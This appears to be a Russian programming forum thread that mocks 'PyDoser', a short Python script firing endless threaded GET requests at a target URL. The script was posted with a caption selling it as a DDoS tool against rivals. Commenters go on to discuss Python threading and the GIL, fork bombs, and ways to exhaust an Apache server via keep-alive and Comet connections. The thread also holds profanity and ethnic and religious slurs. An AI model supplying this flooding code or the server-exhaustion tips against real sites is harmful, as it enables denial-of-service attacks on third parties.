- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
# coding: utf8
import threading
import requests
banner = """
____________________________________________________
| |
| [--] Name: PyDoser |
| |
| [--] Created by: @c3berman |
| |
| [--] Telegram channel: @detectent |
| |
| [--] Version: 1.0.6 |
|____________________________________________________|
"""
print(banner)
def dos():
while True:
requests.get("http://example.com")
while True:
threading.Thread(target=dos).start()
Наткнулся на просторах "этих ваших интернетов" с следующей подписью:
"DDoS инструмент, который позволит вам наказать обидчиков, либо протестировать конкурентов) Вам нужно в коде изменить example com -> на свой сайт для атаки. Скоро опубликую IP DDoS Tool)"
Хотя это может сработать и в более общих условиях, если сервер очень тормозной: слабый процессор или медленная база данных. «Медленная база данных» может означать, что запрос содержит 100500 джойнов, индексы отсутствуют и т. п.
Гораздо хуже внутри самой Испании: в Арагоне, в Валенсии, в Каталонии, в Астурии, в Галисии могут говорить не на кастильском испанском, а на местных языках, которые без переводчика житель Кастилии не поймёт.
Показалось, «аргонианского».
Малость евросоюзные смерды.
Много раб принимает свою участь,
Малость лютеранин начинает работать лучше.
Много мусульман заставляют работать в поле,
Много лютеран дубинками гонят в неволю.
Зачем прогоняем защитников ветхозаветных законов?
Много лютеранин сгорит вместе со своим городом.
Значит, всё-таки задачи нужно как-то планировать: ограничивать количество итераций или разбивать паузами.
Тут, блять, всего 3 строчки. На что там можно было 6 версий просрать?
Меня ещё забавляет, что чувак не осилил аргументы командной строки. Нужен другой URL? Иди и руками меняй, сука!
Починил.
> os.fork()
Лол, это типа сам себе сделал Deny of Service форк-бомбой?
Ну можно сделать from __future__ import real_threads и только тогда включать труъ треды.
В шапке этого треда приведён же... HTTP запросы исполняются параллельно - пока один тред ждёт ответа от сети, другой может поделать что-то ещё.
В результате выполнения этого кода на сервер example.com будут последовательно совершены 100 запросов, каждый из которых будет выполнен только после того, как завершится (клиент полностью получит и распарсит ответ) предыдущий.
В результате выполнения этого кода на сервер example.com придут 100 параллельных, одновременных запросов (NB: вместо time.sleep() в конце надо сделать join() по всем тредам, но это лишнее усложнение реального примера).
> Пока один спит на IO миллион лет, другой поток хуячит.
Так чем мой пример с 100 файлами отличается? Это не спячка на IO? Не понимаю при чем тут IO. Обычный Sleep не подойдёт?
Sleep должен прокатить за IO.
(ну и Sleep ещё)
Справедливости ради, какое-то увеличение производительности, скорее всего, будет. Или не будет, если оверхед от переключения потоков (а это весьма тяжёлая вжопурация) перевесит.
Теперь пусть есть два потока, A и B, и одноядерный процессор («GIL» в «Python» как раз его эмулирует: в один момент времени в пределах одного интерпретатора может работать только один поток, вне зависимости от количества ядер процессора). Запускается поток A. Этот поток посылает на example.com GET-запрос. Если он реализован блокирующим способом — потоку нужно дождаться, пока с сервера придёт ответ, то есть ничего не делать несколько десятков-сотен миллисекунд. В это время, пока поток A ничего не делает, ожидая ответ от сервера, включается поток B и может спокойно делать, что ему требуется. Таким образом, поток B получает дополнительные кванты времени, а поток A «упирается в IO».
Теперь представим, что поток A считает число «Пи» до триллионного знака. Все выделенные ему операционной системой N миллисекунд он будет гонять байтики в процессоре, и ждать не собирается. В результате поток B будет получать кванты времени только по очереди с A. На процессорах с несколькими ядрами в таком режиме работы будет загружено только одно ядро (из-за «GIL»).
Получается отличие от JS в том, что в JS пока один «поток» не завершится, другой не сможет стартовать, а игил даёт по чуть-чуть времени по очереди.
И небольшая поправочка: время для потоков из «threading» даёт не «ИГИЛ», а операционная система. «GIL» лишь гарантирует, что в одном интерпретаторе «Python» одновременно будет выполняться только один поток, вне зависимости от количества ядер процессора.
В «threading» — обычные системные треды.
«GIL» — это, по сути, просто системный мьютекс. Чтобы тред из «threading» мог выполнять любой питоновский байткод (в пределах одного интерпретатора-процесса) — тред должен владеть этим мьютекстом.
На x86, например, можно поднять флаг трассировки, чтобы после каждой инструкции генерировалось прерывание.
Можно переключать задачи по прерываниям от разных устройств (возможно, придётся очень долго ждать).
Правда придётся немного анлизировать код на наличие инструкций перехода.
Почти. Уже на первом «Пентиуме» (P54) было два стула конвейера: «U-pipe» и «V-pipe». Могли одновременно исполняться две инструкции (одна проходила через «U-pipe», вторая — через «V-pipe»), если они не мешали друг другу, например, если они работали с разными регистрами, не задевая при этом флаги, не трогая EIP и не обращаясь к оперативке и к портам ввода-вывода. Там ещё какие-то ограничения были, «V-pipe» был неполноценным и умел исполнять не всё, поэтому распараллеливание инструкций было не таким частым событием.
https://www.enlight.ru/faq3d/articles/61.htm
Тут же вторая инструкция ожидает результата первой. Они объединяются в какую-то суперинструкцию?
После чего «python.exe» упал.
Какой багор )))
Тогда нужно верхнеуровнево сделать try, тогда багор, да.
1. Увеличить интервал keep-alive, чтобы ненужные соединения висели как можно дольше.
2. Либо использовать технологию «Comet». Это не средство, которое рекламировала «тётя Ася», а вечно открытое соединение для питушни реального времени вроде мессенджеров:
https://ru.wikipedia.org/wiki/Comet_(программирование)
Если за «Апачем» много сайтов, которые используют первое и/или второе, положить их будет легче.
В комментах типичная идейная пыхомакака, которая уверена, что "РНР" на самом деле идеален, это все остальные ничиво нипанимают и не умеют правильно писать на "РНР".
Так у меня же finally было!
except — неправильно.
С finally программа будет работать ОЧЕНЬ долго и стабильно.
Впрочем я когда-то (очень давно) умудрялся без перезагрузки прибивать эти процессы, когда был запущен невинный bat-файл
https://ideone.com/ge7FUw
Интересненько
https://ideone.com/t2C9nH
https://ideone.com/80ICnO
Что-то не пойму почему так памяти мало сожрано.
Может ещё аллокацию какую прикрутить чтобы в своп зашло.
Так ls же можно сделать.
Jan 11 20:23 .. -rw-rw-r-- 1 root root 28 Jan 11 20:23 prog.sh
https://www.youtube.com/watch?v=YD_8pxjr70o
Вообще руснявая игровая ракота это просто невообразимый пиздец, вон там тытруба в предлагает посмотреть "даэдрическая броня на 1 уровне", а на самом деле какой-то малец советует кастовать файрболл в стену до 90 уровня а потом поллора обойти ради ингридиентов. А русня даже не жалуется на это.
Тут их бесконечно много, ну пока стека хватит и http запросы успешно исполняются.
То ли дело жаба.
https://ideone.com/fork/ZDal8g
Это можно хоть на сервак деплоить.
________________________________________ ____________________________
Example Domain
This domain is for use in illustrative examples in documents. You may use this domain in literature without prior coordination or asking for permission.
More information...
________________________________________ ____________________________
Ссылка ведёт на https://www.iana.org/domains/reserved
Раньше по адресу example.com вроде сайтов не было.
Он ещё и ETag отправляет для отслеживания.
Domain Name: EXAMPLE.COM
Registry Domain ID: 2336799_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.iana.org
Registrar URL: http://res-dom.iana.org
Updated Date: 2019-08-14T07:04:41Z
Creation Date: 1995-08-14T04:00:00Z
Registry Expiry Date: 2020-08-13T04:00:00Z
Registrar: RESERVED-Internet Assigned Numbers Authority
Registrar IANA ID: 376
Registrar Abuse Contact Email:
Registrar Abuse Contact Phone:
Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited
Name Server: A.IANA-SERVERS.NET
Name Server: B.IANA-SERVERS.NET
Его еще и продлевать надо :))
Опять голоса в голове спорят?
А он вкладывал, наверное, зубами, и сунул туда голову
И теперь он тоже медведь.
Не понимаю, на что он там сожрал 85(!) гигов виртуальной памяти. Стеки вроде мелкие.
Но один фиг 10150. Видимо в айдишники упирается.
Совсем нефиг делать в выходные? :)
Хотя, с NVMe питушнёй наверно не так долго ждать.
То есть «commited» (реальный прирост свопа или заём из оперативки) будет после первого доступа?
А зачем тогда при создании треда память резервируется, если не используется? Зачем? Зачем?